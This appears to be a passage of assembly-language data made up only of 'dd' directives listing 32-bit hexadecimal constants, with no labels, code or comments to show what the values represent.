dd 538AB875h, 5BC5305Fh, 776009A7h, 5697512Fh, 206D6C6Eh
dd 15B4BD93h, 643E2D22h, 72515D6Bh, 2109059Dh, 0B4B73844h
dd 0BF64DA84h, 0C18585A9h, 61C820A5h, 331559Dh, 0F1AF0CB9h
dd 0E9B84844h, 78C2150Ah, 0CE3F4083h, 0F36D0075h, 84601E02h
dd 0D998460Ah, 0CAC9193Dh, 0FFEF1AA8h, 6422D650h, 0A41F05C9h
dd 0E3D295A8h, 2BB6AA7Dh, 78D32998h, 2F03214Fh, 0C0BF6827h
dd 615981C8h, 97CEED10h, 0F626A657h, 0E6F5C9B5h, 0C69EB8EDh
dd 12938433h, 5E1B9EDDh, 4501A5D1h, 10768C80h, 0D6F1AFABh
dd 64F68D9h, 0C049F829h, 39EC8637h, 711757B0h, 53CE9357h
dd 5267AE60h, 462653F3h, 0DAEE3F5Bh, 0FEF857E3h, 0E8A99530h
dd 1D89073h, 4B307B00h, 8E79C9B2h, 0C288EF67h, 0CC26FF56h
dd 81074158h, 0B82DFD8h, 80960F8Eh, 0B68E36F5h, 4AE32526h
dd 37C9CB0Ah, 18A0EB4Dh, 0A1E09D2Ah, 330BA332h, 0E542A897h
dd 22E93023h, 33397675h, 0ABA9BE6Fh, 6E0DCD51h, 0AFCFAB67h
dd 347D725Dh, 146421A9h, 3AF91B07h, 90CE971Bh, 0AF6DE937h
dd 5D43C0Ah, 1998A510h, 0AB4449CDh, 553AAFE3h, 1E5145F4h
dd 0DAEAFD79h, 0DCC99E08h
dd 0A22B1B53h, 0CDA9CDA4h, 53CD30B6h, 5C98879Bh, 0A672BE8Eh
dd 98681BC5h, 14CDCA5Dh, 5D9EC79Dh, 4D2C736Ah, 0BEC82D98h
dd 954DDCA5h, 19417994h, 0CAE09E64h, 4A44E019h, 0FDB061CDh
dd 0D95CB2ECh, 0F39D3EB9h, 0AF9F24CFh, 2926FF34h, 0E3DD8176h
dd 0CA634444h, 0F17DEE21h, 619C2866h, 71497D8h, 6C4801EFh
dd 0DAAE594Bh, 200B90AEh, 0B57CAEC6h, 9C8C6BC7h, 2F171621h
dd 6827102h, 0DEE6590Bh, 0F2E22DC4h, 0A15AEB99h, 15250969h
dd 0B4210C61h, 0C547CFADh, 0ABD7085h, 761CBAD9h, 6166344Dh
dd 3A1C243Fh, 7C6DA9E3h, 0F36F88C7h, 0E8FC63DFh, 17A8767Dh
dd 0AB396717h, 3A6DF529h, 44BF9A7Ah, 19F3C087h, 42152607h
dd 0E5D08455h, 2987B60Dh, 0C72F8D1Bh, 0F02F6B43h, 0DEF44D24h
dd 43513284h, 698DEEB1h, 0FE58CB2Ch, 22A71A39h, 0EAE7CBE6h
dd 8F57362Fh, 59D66F43h, 9759F01h, 68BAD1ADh, 83113A8h
dd 6AAB1FFAh, 0EB5A287Eh, 7B49C68Bh, 70521EDBh, 0A2B5CE03h
dd 89480D93h, 0B98F5019h, 0D1CA2F27h, 7BC45BB4h, 0BEE641B7h
dd 2397B40Fh, 7683415Fh, 738A11B5h, 0E93DE29Ah, 22AA94B3h
dd 5DB1AE08h, 7177DE5Dh, 77D2F91Fh, 9A9FB5D8h, 4FD39796h
dd 0E8038135h, 462D4080h, 0FF3C465Bh, 49EB7805h, 9589BF8Dh
dd 6D9D8D33h, 0D576B651h, 0E4722EBh, 9E74427Ah, 94215EE0h
dd 0FED43448h, 0D3E8DAC9h, 98A1F98Eh, 1030949Eh, 2263A45Dh
dd 1F6DCD24h, 472BC220h, 31C82FFDh, 7D4AD7A4h, 7F0B5733h
dd 89D2454Ah, 8BD72833h, 0C32D89DBh, 672221D1h, 0EEE73F12h
dd 526ECD06h, 0E1B560ECh, 9E15BDB5h, 0B63D8D5Eh, 491B2ACCh
dd 0A4F42082h, 0EE0418BBh, 0F5200CABh, 2FF3634Fh, 0BC77D9E2h
dd 0C30F27ADh, 0CAD92706h, 0C3F6C1C2h, 5AE5DA53h, 0E889E0E1h
dd 130BC315h, 8783FE54h, 0BC7E1A2Fh, 0C5077567h, 1BA083CEh
dd 2EE42083h, 67F02E5Ah, 74761E4Bh, 0E22BCB41h, 0BA33C283h
dd 0D812DAE0h, 1B4762DBh, 23257F7Ah, 7B7D93Ch, 2D0EE76Dh
dd 0F566A9Ah, 9253E883h, 554930E6h, 7E0A8BFh, 0D989E76Ah
dd 15A1AE9Eh, 5BF9FB40h, 215ED2F7h, 28BEB352h, 0E506C069h
dd 0D5C484Ah, 86DB3006h, 0C8DCC670h, 984D7388h, 0BE3AA301h
dd 2BBDBF0Ah, 0BEC0B699h, 0BD2F74F0h, 782DD7B4h, 22B358A7h
dd 36368A86h, 0A63888B6h, 0DBF8D1Bh, 4384368Fh, 9C4D241Ah
dd 0AAED5E6Bh, 47EB8B7Eh, 10301884h, 738C8F67h, 79D0B346h
dd 0D6D4D385h, 10E65C55h, 5D3C4A29h, 953EBCF1h, 29CCE35Ah
dd 0A9FD08E8h, 0B891DDD1h, 0AD31B8C8h, 0DC229C85h, 0F26CB63h
dd 81EE1F2Ch, 0A13B4E9Eh, 0FCF5D6E8h, 54F508B2h, 46E68E20h
dd 5DDCEB8Dh, 0D050C9A9h, 21E533C7h, 94BE371Dh, 0C9FBC80Bh
dd 9725A804h, 7F03E03Dh, 28AB23A3h, 8EB2BD70h, 0F92460BFh
dd 0FBEA234Fh, 6E8AF748h, 0F95A31E8h, 4338C900h, 8DAC2716h
dd 1F612742h, 93A5745Fh, 66700539h, 0C890EB0Bh, 6F844CB4h
dd 12B21AC9h, 0A2FB4884h, 0E413E36Fh, 13CBE8FBh, 63A40146h
dd 2FEBC981h, 7609CED7h, 4E3F02DFh, 0B1AEBA3Eh, 0B2909426h
dd 3014C020h, 0EA164D6Dh, 0D4652D5h, 2C89C146h, 5EC2BB7Bh
dd 11A2C484h, 0FDF3D5E5h, 5309944Eh, 7DFD022Fh, 3E83EC3Bh
dd 3AF9022h, 9DC2E140h, 0D3717C7Fh, 94CA1E98h, 5F154DE9h
dd 0D0A5B033h, 0A9EA2837h, 0D0021D79h, 6ADF4Ah, 316871Ah
dd 27555C63h, 58B07EB8h, 17F99DA5h, 21EBDA80h, 3D15E12Dh
dd 0CD9316Eh, 51BD83F7h, 0E693D3E3h, 0B81BE1Ah, 0E32E3FE5h
dd 670EC054h, 510150A9h, 2EC620D4h, 54BC6EF6h, 141B1D47h
dd 0C4C040D2h, 0CD35D485h, 88739B37h, 0C17C0086h, 5AB0CF22h
dd 2AFF35BAh, 7251F89Ch, 8510F520h, 77EFF4EFh, 0EAE88AC9h
dd 0FAB6E9C4h, 0B02917B7h, 7EC247B9h, 42FB1BB3h, 0EC8C672Dh
dd 6F4A5607h, 3E5F2D36h, 98EFF251h, 555847BFh, 4E375A90h
dd 0C8241938h, 8D48ABEh, 1B40F2FAh, 81C50D6Bh, 0EAB23AF7h
dd 9369F88h, 0A8F64C41h, 0A50C5F78h, 7A224819h, 0C4D77615h
dd 9DB0FA7Eh, 0D2362588h, 43FB4A79h, 0E9B8A5CCh, 8550EED8h
dd 0FD80311Bh, 0BFEB464h, 7CDDA96Bh, 9E60047Ch, 0EDB0EF2Eh
dd 0C459A89Eh, 0C3B37806h, 0FDE450EAh, 95660ABFh, 29AA065h
dd 437A8C79h, 0FAE18CB7h, 0AD75941Fh, 8D544E6Eh, 0D2DBDC6Bh
dd 8BD89D74h, 9C916C91h, 15CC5A15h, 0E3D5FA78h, 7EE3A34Fh
dd 0E001C2A4h, 1E046EDEh, 53F306ADh, 0C5B982Ah, 0EA8193B5h
dd 0C96884A5h, 171E2695h, 13A02792h, 6F21F688h, 5BC577A6h
dd 0C8E5ACE5h, 49F901D7h, 9777C819h, 93A1819Dh, 9C284BF3h
dd 9E5B3620h, 31DA489Ch, 9B3685F0h, 4BE7AE58h, 0F22823h
dd 0F288B482h, 0C5A9F1h, 0A0828E6Dh, 44783FAFh, 270164E2h
dd 212BD541h, 0BE768CBAh, 83D32478h, 0A4F1C61h, 0D53F10Eh
dd 6F5D8A64h, 6F7D8879h, 0BCD210FBh, 72B745Ah, 0B9D366F5h
dd 8A4F1C6h, 9F4D582Ch, 6CEE670Ch, 3B21577Ch, 0AB6E5A68h
dd 0FB080F17h, 0D4D66E1Fh, 5138B666h, 980479E0h, 0D8C6A6C0h
dd 2311E424h, 2D16856Dh, 8A89EFAAh, 3AC9F7E2h, 36D00133h
dd 67F3ABFEh, 9FBB0E46h, 7B684220h, 0BA6C05D0h, 582AA8Dh
dd 884A814h, 2B79C6CDh, 0D122DDD5h, 0B9351D55h, 9946CF52h
dd 0FCE24641h, 0BB55D94Dh, 0CBD83525h, 5094A5D3h, 2C3DCE23h
dd 8EDF114Dh, 73032BC0h, 2AC50066h, 6895EA0Eh, 4E7F0871h
dd 7DDBFC4Eh, 0C1BA78A4h, 0D6972C6Bh, 46F58A9Dh, 0EA9554Ch
dd 4E8C035Ch, 36C16AA2h, 78631C3Dh, 0B4B6E9Fh, 6DAA7FCh
dd 287CBC74h, 483572FEh, 0D1F24D4Ch, 0E37DD082h, 649D02F6h
dd 0A9BAD851h, 8661A1FCh, 5600E5CBh, 7B23E81Eh, 852E5A8Fh
dd 0DE395A3Ah, 2E5FA60Eh, 45B367E2h, 8F92E0DDh, 6D1CD9C2h
dd 258F1178h, 0A4AD9F7Fh, 5A4D5541h, 21FAE5C3h, 36410893h
dd 0FF1D4AD1h, 7C40858Ch, 2E06449Eh, 33DDE24Bh, 9C35C770h
dd 3BE9D9C8h, 5AECDA43h, 70A74EACh, 48943F77h, 779C5D27h
dd 594241B1h, 33768F1h, 0CF7587BAh, 3CAE1A47h, 288344Eh
dd 6993ECA8h, 98D8F3EEh, 63FAFB0Bh, 0FF652FF9h, 468B0029h
dd 1E036719h, 21FC6471h, 6E38D7C5h, 0EACD745Eh, 0DDF34FCBh
dd 0D57595ECh, 3ADDC7B8h, 0AC2E9F6Bh, 0E78099E0h, 9EB264E0h
dd 7E4AA486h, 38D0836Ch, 32A44762h, 792708B8h, 26073869h
dd 7FFA013Bh, 0E56D68C6h, 0BBE5BAC2h, 0ED2C9141h, 0CEA56C9Bh
dd 77D6D9BCh, 501AF18Eh, 3E48EC3Eh, 44B524C5h, 6BBB610Ch
dd 5A2D1CFCh, 0BB66BF44h, 0F3030272h, 0CBE4AC6Eh, 0CDAB00C0h
dd 855D89FDh, 3DBD23D8h, 0FD0F8766h, 7D596003h, 0B481376Ch
dd 2417EA8Ch, 808995FAh, 117FB3A2h, 3FBEDC9Fh, 93C79C0Eh
dd 5849C030h, 6EA056EAh, 2A4A1BD1h, 0B4F0FB8h, 43CAC9E1h
dd 4C2B7D43h, 2FD0F54Ch, 800A1E02h, 75DA5262h, 1B00DC81h
dd 5044C81Dh, 0D8E3EB39h, 0E496A558h, 0B0E43B14h, 0C5F5A30Ch
dd 0C9E4C8DAh, 861D8CD9h, 0C55E806Dh, 9026E658h, 0A239A10Ah
dd 4D948E02h, 0F7ED066Ah, 0F4EE93C8h, 810E3617h, 3D1473DBh
dd 73D4EC37h, 5789A221h, 30A764A8h, 0E17E4859h, 4405C522h
dd 5DE33EB0h, 2E57A738h, 0BD67F17Eh, 0A7A7204Eh, 49DC8D4h
dd 73CB7EA0h, 2C4B9D3Ch, 7D925ED8h, 7E560DCFh, 0CAF60C4Eh
dd 75A3D5CFh, 1EAA35F9h, 54064CF2h, 0C5A44932h, 0E9599B43h
dd 308849CAh, 0B0074C84h
dd 7E23C213h, 0AAA91D59h, 0F9E30332h, 2C39FE36h, 0DE8E234Eh
dd 434BF6DEh, 0FDD41A9Bh, 0A9021E44h, 0A5190793h, 466AAAD9h
dd 0C5B39082h, 0F7650297h, 0A6B5787h, 9988154h, 0E4E2757Bh
dd 494B2DB3h, 5577D773h, 10686078h, 73452685h, 0A5511A0Ah
dd 0DC510A64h, 0BC914484h, 3342A8A8h, 96F98B2Fh, 4521B4EDh
dd 927763D6h, 0FEE39F18h, 0A5FE72BCh, 33885A1Ah, 7C29A9Dh
dd 288381ABh, 415435ECh, 91E9D2A4h, 42C1B4F5h, 0FA194B37h
dd 6B7C8AF7h, 1250B075h, 0AC002283h, 0CBD901A9h, 0FE0CFAFCh
dd 6A49391Ch, 52EFC83Fh, 90B4500Ah, 0DD8A78D9h, 0C06A07EAh
dd 0F886884h, 7FF38B54h, 0D713D8DEh, 0DA4B62EEh, 4AAEFF09h
dd 0F4D02D30h, 0ABC83A60h, 16C827ABh, 94580E16h, 49E08F58h
dd 23C3B3E3h, 723DE55Eh, 6319312h, 0C884D721h, 19F01A50h
dd 84B17184h, 0E9F402ECh, 89E0AD47h, 0F02C024Bh, 72809B22h
dd 0BAC9BD9Dh, 4F2B1490h, 4F9958A9h, 0B89EA1A4h, 340C6E2Dh
dd 99FA9B49h, 0A51D8910h, 0E5D020A4h, 0A6423619h, 59E69184h
dd 578585ABh, 706D1454h, 3ED539E8h, 0D7700B97h, 0AD1D4FCBh
dd 0FC2713AEh, 0B7C7AE1Dh, 8043D4C8h, 3F57128h, 696EC078h
dd 52168B22h, 5BF2A95Fh, 9130109Dh, 0A381DC11h, 7CCCB0ADh
dd 7AC0A0EFh, 159C87ACh, 0A67376DDh, 729D29BDh, 156DCAB1h
dd 0DE2C7B08h, 0ACD19DC0h, 8A2AE456h, 0F3932963h, 2A506470h
dd 0DFCB3148h, 49A57A70h, 0E71EC35h, 87F4556Ch, 8A9684F5h
dd 0D8E60F33h, 272454E0h, 58063BC7h, 0B39F997Dh, 0FE4A8CABh
dd 57556CF8h, 33DBB3DEh, 34996CCDh, 6D26976Dh, 0A93E6919h
dd 9BA7F4Bh, 61AAF4EEh, 0A9DF7411h, 738C0DDFh, 2CEA1684h
dd 1B8BFAB2h, 64158A6Ah, 517C88D4h, 7A075B38h, 0E8B814FDh
dd 77C78776h, 18045AC1h, 0C2DB46CAh, 0FB5A4119h, 0D6AAA1B3h
dd 5C2A8C5Eh, 0CC949E1Ch, 34466E3h, 83452444h, 0F9AE2322h
dd 0DD69DAEFh, 0D16122ACh, 0CE2439Ah, 0E8A85147h, 81C5560Bh
dd 7A83DFBh, 7C07F29Ah, 0CEAB5B50h, 635FF093h, 0AA163326h
dd 0F22417F6h, 0F1A80B3Ah, 2FB6E94Eh, 0D28D049Bh, 0CC21599Bh
dd 0C40086Eh, 0BEEC7138h, 0E55C6148h, 0D8EAC7FFh, 0ED8D230Ah
dd 72C700E6h, 7F41FFC3h, 350476Dh, 0C22F1DF2h, 912319C4h
dd 2D7845EDh, 0EEDD9840h, 0DC7F5419h, 0DA79DC74h, 5E7B5102h
dd 5985B45h, 63DA225Ah, 87F8F72h, 5B1CC258h, 0F2772A5Eh
dd 6353852Ch, 0AB914780h, 0C391DC60h, 27914CCFh, 27EF7BCAh
dd 9D05F589h, 3B089722h, 9AD396F9h, 1B149D2Dh, 0BEBB3EC4h
dd 1AE52A97h, 64BF8129h, 0A53AECABh, 9FABC637h, 620CA6A4h
dd 197FD3D6h, 1DF0B58Eh, 0C8671893h, 0A19F47F8h, 9438DD87h
dd 83D5652Bh, 83F64023h, 0C90892CAh, 4BD9236h, 87671033h
dd 3EBC1C73h, 2E9B356Bh, 0C4C8BE44h, 0CA376ECh, 0C19065F6h
dd 0B1CCF52Fh, 0F4AB1376h, 37C0A25Ah, 465DC674h, 0C94DFA23h
dd 0B14F4178h, 0DA8D8855h, 406D878Bh, 2BE83DA9h, 905A01FBh
dd 0B62C9C08h, 3E61DF05h, 0FEC7D3EFh, 232ECEB3h, 9E00693Fh
dd 3E4BD08Ah, 0AA510CB8h, 0C83FAE7h, 0FA6BE56Bh, 8B2752A8h
dd 0FDA29867h, 52DBD2B8h, 0CCEDCCB8h, 4692BFFAh, 5B2DE83Fh
dd 0B551F572h, 0B9AEC2A5h, 0F1D94B48h, 0F7B4D8C1h, 785B9338h
dd 871A869h, 436695D5h, 35BAC817h, 8019ECF0h, 18CAD679h
dd 2B9C0F7Ah, 0F4881929h, 0BC57473Bh, 1CE497F4h, 95CC6472h
dd 4987FD27h, 0C8175C27h, 5A3C543Bh, 2858108Ch, 7E57DBB5h
dd 5531A3FAh, 0F20E6A06h, 6433A21Bh, 219C2B3Ch, 667EB19Bh
dd 3A70BB99h, 4C54092Dh, 5FEF7E04h, 0F4EDE20Fh, 29912011h
dd 4C25E945h, 0F525095Ch, 0D40D50C9h, 5A8335B9h, 0E7F218ABh
dd 4A445E9Fh, 0A8B24C3Bh, 9189D7F4h, 8205D5F9h, 80089045h
dd 3053F9F5h, 0F0BBD03Ch, 28DCABB5h, 23F650D0h, 8445F8F5h
dd 7D1FD477h, 0CC8C235Fh, 0C1D4506Bh, 0F14510CBh, 567B87B1h
dd 0B11F2FD6h, 697F0462h, 0FE7575B7h, 2D441C85h, 4B1A12CCh
dd 1961E57Dh, 554D639h, 0EECC27B9h, 0B3A9C521h, 32077406h
dd 126D9731h, 0FD708176h, 0FBD53610h, 183E867Bh, 8FDC5271h
dd 247B6ECFh, 2B9787Eh, 321B13AAh, 2E0EA15Dh, 0A708EB0Eh
dd 4E340FD7h, 624727BEh, 500D7849h, 8DC51B06h, 0C5F55E75h
dd 71D303Dh, 8E68A8C8h, 8E6B7AD7h, 0E381B9B6h, 0A83FA72Eh
dd 4C041CD6h, 942BDD6Fh, 1E9E0B3Bh, 53345178h, 0E88C42B9h
dd 0CF2F3312h, 0FDA43D32h, 988333D6h, 964A1A1Dh, 6C0B03C4h
dd 47427F3Bh, 0FC564B22h, 4F90AC29h, 641CC2C4h, 6C00CEDh
dd 39333ED9h, 0C4382757h, 0FCE9CD4Dh, 5621A11Ch, 9E814407h
dd 0CF055FC9h, 5B176D89h, 0F9359DB3h, 6EDF3A0h, 16670DA9h
dd 9216171Fh, 83C9B077h, 6BE445C3h, 173C7728h, 0E1194785h
dd 4CD87D7Eh, 0D076FC61h, 0BCBD6CD9h, 32AEDCB0h, 4D82DC85h
dd 0E0DBC07Ch, 0D5228A61h, 4E981247h, 8E536092h, 0C5C005C0h
dd 0A6AFA8E5h, 0A6FCF610h, 8F3B51Bh, 262CB099h, 65A2C60Dh
dd 5E962406h, 800077B3h, 944C47B0h, 88B6D6DFh, 9D275B5Eh
dd 96897F2Ah, 0B634D28Fh, 85404FE9h, 0B665A296h, 292761E8h
dd 0BB776272h, 0BA3A63E2h, 1A824A01h, 0FE565F37h, 129F2FC4h
dd 5FAF0EDh, 0B02EA976h, 5C8A3CCDh, 0B10A05ACh, 0B1132198h
dd 0AADD9ADEh, 0E3641CFEh, 9BE35164h, 4E44657Ch, 9B3FB63Ch
dd 789DAFDDh, 2450A7D9h, 97F3BE51h, 1B7E4833h, 3B641103h
dd 0A03F35E5h, 84717BD2h, 0EB64EB7Ch, 3C79F8FDh, 3499CA08h
dd 5C15F7C0h, 8EFA7A35h, 0E3E5A371h, 276C739Ch, 0EB3850A6h
dd 82EFCD35h, 5B0B77B9h, 35AA209Ch, 91FA6428h, 5693154Ah
dd 0F649E33Bh, 0C18BAC7Fh, 6AF34885h, 63609077h, 0ED0BE372h
dd 570FDB0Ch, 0B5329DE8h, 771CAB1h, 5515F7AFh, 5560B97Ch
dd 0B6501473h, 0B2B2EC65h, 0B401F3E5h, 35DCDB77h, 920C209Bh
dd 0C161919h, 7EC87DA0h, 0AFE7385Bh, 2495B174h, 1023A8D7h
dd 2AE21B9h, 20304A8h, 77C75498h, 0BDEA6583h, 5B1E1A7Dh
dd 0B5DFC187h, 0ACCFEE5Bh, 1E45A8DFh, 0F26FC881h, 6B292092h
dd 0FC060626h, 1B19A6A4h, 0C59FBAA8h, 37CB2A96h, 10A8D595h
dd 0C82FEBB0h, 192AC37Dh, 0E01C1E33h, 0A8876176h, 9E67BDA8h
dd 408902F0h, 0A35FD35Ah, 0EBFB9942h, 877BE697h, 0B0187E2Ch
dd 21B0148Fh, 3469ECA0h, 106A620Bh, 4564886Eh, 0D66AB1C5h
dd 4BFF2110h, 0AE307A6Eh, 8D7FC964h, 0C473E57Eh, 0EA96EB45h
dd 0C6027EB3h, 755ACAFFh, 7DCAD92Dh, 60DAA6B2h, 0D67D2C22h
dd 368176C9h, 0D96A18EFh, 0A344AD38h, 0D638B23h, 2944235Bh
dd 40B3E843h, 461AEF26h, 11506160h, 1005BFF5h, 44B14A62h
dd 0EFAB30ACh, 5DED397Bh, 6C2C73A7h, 76F39BEAh, 0E515769Bh
dd 11C07D37h, 61DADD27h, 0F498DCF2h, 0DC5E064h, 0E9B2467Dh
dd 11B682B6h, 64E6C451h, 0B3D183DFh, 6F8A13A5h, 0B8DF1E5Fh
dd 603E0DCDh, 0B92265C6h, 689C6436h, 456EDED4h, 550CCBBFh
dd 0FE76C795h, 0B8BC24D1h, 56599C38h, 57AF0ECBh, 115F3A2Fh
dd 0E77CB778h, 0A24BD4D1h, 0DB2DE7B1h, 9A289DDEh, 0B8551181h
dd 775156C3h, 7C49836Dh, 21ABF7C0h, 0ACCE7366h, 1F074F28h
dd 0A6FB3438h, 955E5118h, 2BD994D2h, 9DB8E405h, 0A974B875h
dd 0F8EB655Ch, 3DA3BDF1h, 8340107Eh, 783F6EC3h, 68F4C092h
dd 0BC6492EEh, 7447798Bh
dd 0C60731B7h, 2861824Fh, 0C3C6AEACh, 6D06273Fh, 0D8DFD85h
dd 0B98F6F94h, 85B72A0Eh, 61991A75h, 4AE41F0Ah, 0C52A0005h
dd 9DAA9111h, 0F8285FDEh, 4102C28Eh, 612FF816h, 3B629785h
dd 8B2C7506h, 27AE329h, 114B2FB8h, 21C8B977h, 0C7CD3B0Dh
dd 54F21109h, 0F20A9766h, 9D36A184h, 30BD301Ch, 9274F237h
dd 96229CA5h, 93BA305Fh, 5E49BB9h, 20D8B98Ch, 0A1715A84h
dd 58600CAEh, 58F068E0h, 0CB634C11h, 0B7A1D5Fh, 5F4DDE2Ah
dd 0F79949EAh, 838E3EB0h, 7C93F209h, 83DB1F0h, 0C2576928h
dd 0CF3033A9h, 0AFEF4640h, 1EB2B786h, 0C8C64E52h, 0EEBD33D8h
dd 27E7EB99h, 7BEE7F16h, 2B59F569h, 0BFFBB3A1h, 0BA1B897Ch
dd 34C6B8Fh, 74C0A66Ah, 357B69C9h, 0A3D1570Ch, 2CE99A76h
dd 83A32CB6h, 94CBF802h, 78462274h, 3249B7CBh, 3D497021h
dd 2385A65Dh, 6BA9B147h, 166BCA19h, 9B99740Ch, 0B0A20760h
dd 0CB7888Ah, 6B1ED317h, 5C1F7E3Fh, 68CA0C16h, 5F33FDFDh
dd 7947D2DAh, 13B659A3h, 5C0A1594h, 0E1BD879Fh, 0BCCD5D0Bh
dd 696CC1EBh, 50532633h, 8E1530A3h, 0DCCE268h, 366B6AEAh
dd 49391CC1h, 3607B78Bh, 1A47DBB5h, 0C233C9CCh, 4C20D4B6h
dd 4646A07Fh, 0DF75FA6Ch, 0F73DA2F7h, 325FC3DAh, 4E83E7Fh
dd 795428B9h, 0ADDDA736h, 51ABB66Dh, 96B1E42Fh, 30DF2650h
dd 88D75351h, 0C49728D5h, 504892F1h, 0D590EA3Fh, 6C30BA22h
dd 0B307930Ch, 5326BCD7h, 0BED680F9h, 1C44233Eh, 6799596Ch
dd 0EEF3C6B0h, 0AF30BBFDh, 1F3A833h, 1314EE57h, 4AFDBB8h
dd 0D459D6D9h, 869F12B7h, 0FF390AE7h, 9EBCD425h, 7D914F02h
dd 499BC3F5h, 33DFFDCAh, 0FDC64A31h, 0F8CF9D33h, 0C864C344h
dd 0EAFB48E2h, 10D75B40h, 0BE14A839h, 8235DF51h, 9D0FABEEh
dd 0C157E63Ah, 81CB0EF4h, 0C9AF54F5h, 7341FC4Bh, 2B34DAF8h
dd 0A75F0F9Bh, 9BD13AC0h, 13BEDE9Bh, 2DB92CCCh, 3B518CA7h
dd 0C436D2B1h, 0B0D1C873h, 3BE77AB5h, 0A6DD57E6h, 10B71E3h
dd 0D5738931h, 824A8C31h, 320B855Fh, 0DEE3426Dh, 284210AAh
dd 3352A427h, 18EF91E9h, 4BDEEF0h, 9246312Dh, 381BC1F7h
dd 0C484BAACh, 460DF384h, 7D9217D0h, 0A30FCCEDh, 0BC51F73h
dd 82EFEEAh, 0D9FF79F9h, 0A7738A34h, 0CEC0E3CDh, 0F0DC307Bh
dd 401F0A85h, 0B3DB0680h, 230262ECh, 263D3C03h, 5ED85635h
dd 0CD80A3D8h, 8EBD06E5h, 758E9B22h, 3CBAAB42h, 0DE98AD9Bh
dd 0CA50D8E1h, 0A5BCE3AAh, 6C7FCEDDh, 92DEEA8Bh, 31EF5237h
dd 2701CDBEh, 301B085h, 32EF1A73h, 0DCCF01D5h, 0AE0297B4h
dd 87F6E1ECh, 78FC0334h, 77741269h, 0BB2302h, 1CCC7064h
dd 41DA2A3Eh, 3E0B4CFDh, 0BF5D90E9h, 0CE9ED60Ah, 1D65C53Dh
dd 9612A53Eh, 817C4FFCh, 4BB28FB9h, 5492DC04h, 0E425FC53h
dd 0B0208E15h, 20FEF8C3h, 9B5355BCh, 4D147DDEh, 0FF10EAB2h
dd 7EA49195h, 0B1C5836h, 750F78EEh, 9E744961h, 0F6467CDFh
dd 0CEE3F2F5h, 3032CB71h, 0A01298AEh, 2E97A67Fh, 592BB6E1h
dd 47A9EA67h, 98ED8EFDh, 2CDDE174h, 0E4D6ADEFh, 0DBE1A6CBh
dd 0FD651B57h, 30A7AE61h, 0C613371Ch, 297576DFh, 147B6C60h
dd 9D7E195Dh, 72B48A0Fh, 0F195F2ADh, 0E5A03728h, 0DEF1EEB3h
dd 0F60E1334h, 3D731F9Bh, 9C99AEE7h, 6011705Fh, 683BEF07h
dd 43FC4632h, 509019D9h, 25017480h, 0FC65A5DBh, 720127FEh
dd 0A1E56333h, 613DF0F9h, 631FA77Ah, 6F27C377h, 0DA061AC2h
dd 99998C0Fh, 382559CFh, 378BDBB2h, 7A2140E8h, 10E6FE08h
dd 9192323Eh, 69FBAD2Dh, 99466362h, 1FBF9BD2h, 1B35F5E1h
dd 0B6656AFAh, 2A97B1C9h, 5426B9E3h, 25638750h, 89F8ECF2h
dd 0A0BE7D27h, 31E43179h, 5E96DB04h, 0E87C171Dh, 0C3980B1Eh
dd 68C39090h, 0CEE5E041h, 0C4598723h, 0B1B8983Bh, 470A706Eh
dd 0B6AEE4CCh, 0D4D32E73h, 0D3D10B07h, 66D3E38Ch, 3782F27Bh
dd 41F4D399h, 8DAE3C2Bh, 6579AB63h, 0CFACFB10h, 0F58D8857h
dd 8915213Ch, 3A7981ABh, 70AA89F9h, 0A0D57C75h, 0F291C04Eh
dd 0DB9A4885h, 4C894683h, 5FDA8AB0h, 372CE1C9h, 0C085A3B7h
dd 0C490C5E2h, 81892BA0h, 373CD455h, 0E1EAC746h, 0BE0DB4Ah
dd 0E501F3F6h, 57BFEAFEh, 0BB75B258h, 7737D200h, 29DFC9D9h
dd 97EA2F38h, 9C215109h, 65B99BDBh, 0EF102A62h, 9EAB260Fh
dd 9CEEC18h, 15A929F6h, 0B9298427h, 722733D0h, 9BBA298Ah
dd 0AAC55AD3h, 3F702B25h, 0CD4C0B64h, 0C18888C6h, 696FAA68h
dd 571FFD2Dh, 5304B4Fh, 0BF6FC2C9h, 0EC6AE934h, 0ECF77299h
dd 0DC55D0C4h, 352745F7h, 14F69CD1h, 30A55849h, 0B1E7DC74h
dd 961962Eh, 8455BA21h, 0B66D211Fh, 0C3D7948Bh, 1480BCD2h
dd 5A742CFh, 0C6917E1Bh, 88AE85D5h, 0BB7A4B06h, 0F28BA40Dh
dd 0D3B5C032h, 18773BCAh, 74030B7h, 85D7B7Fh, 854E5846h
dd 8BE46FBFh, 0A93AFF43h, 37143E7Eh, 0DA3A818Dh, 1A0827CBh
dd 114E4E3Dh, 8EFCD3F3h, 6ED17A11h, 0C4CC7510h, 92689589h
dd 10D3E040h, 5B69F74Eh, 32F43461h, 0C7B06D5Ch, 328149A4h
dd 8D507A4Bh, 3A6ED6ACh, 9AE12235h, 922914EEh, 92C67015h
dd 5804B864h, 66375AEFh, 1E6AC7A4h, 24B5F7A6h, 0F848353h
dd 24398905h, 319F85F9h, 72755DFCh, 91B65050h, 301343D5h
dd 1A745271h, 0B9F5874Bh, 0F4A20114h, 7CD3BF4Dh, 0BE9E9910h
dd 2AD41Fh, 0BFF11B3h, 845855BEh, 0A84CFA24h, 71C89701h
dd 0A9479981h, 4FD07070h, 0A595FDA2h, 0D1465FDh, 67391656h
dd 6AB465C5h, 3D5B8259h, 4C2FB482h, 0B0510FC3h, 0CB81DB3Bh
dd 76CFBC73h, 88D3300Ch, 346917D8h, 0DFD64220h, 0B2F45953h
dd 0C0F10AF2h, 419EE6C6h, 4D8ED9C5h, 8D77549Ch, 0B5EDBD6Ch
dd 6552A28Dh, 0BD759DB8h, 9FBCEE19h, 500E6F74h, 85E78867h
dd 0FE492B39h, 87BB907Dh, 0BDF4765Fh, 0CE6D85B7h, 9118BDADh
dd 7B54A4FAh, 0F232A0B7h, 5B066967h, 551B46D4h, 6C3E7D4Ch
dd 0CF9D62B9h, 43306BE9h, 3027EF96h, 3DB4693Ah, 48834778h
dd 5A3212D2h, 93FA024Ah, 0DA017937h, 1BF62BBh, 5F547775h
dd 0E4A0970Eh, 0AEC3AACAh, 962017F8h, 1B3477B8h, 6AAE99F3h
dd 802AE93h, 73745463h, 8D948B19h, 6A12BB96h, 0C39FED8Bh
dd 0A33E78EAh, 6D887E11h, 84EDB03Dh, 8581AEC7h, 0D89DCA1Dh
dd 2DD7143h, 31F15C8Ah, 0A046DEA8h, 0C5A810BEh, 0AC10F34Eh
dd 0A307230h, 699174F6h, 69BDBFA9h, 6DC06604h, 0FCA26488h
dd 0F2FF5852h, 177E213Bh, 7DA88BFAh, 0F1341029h, 0FCD99368h
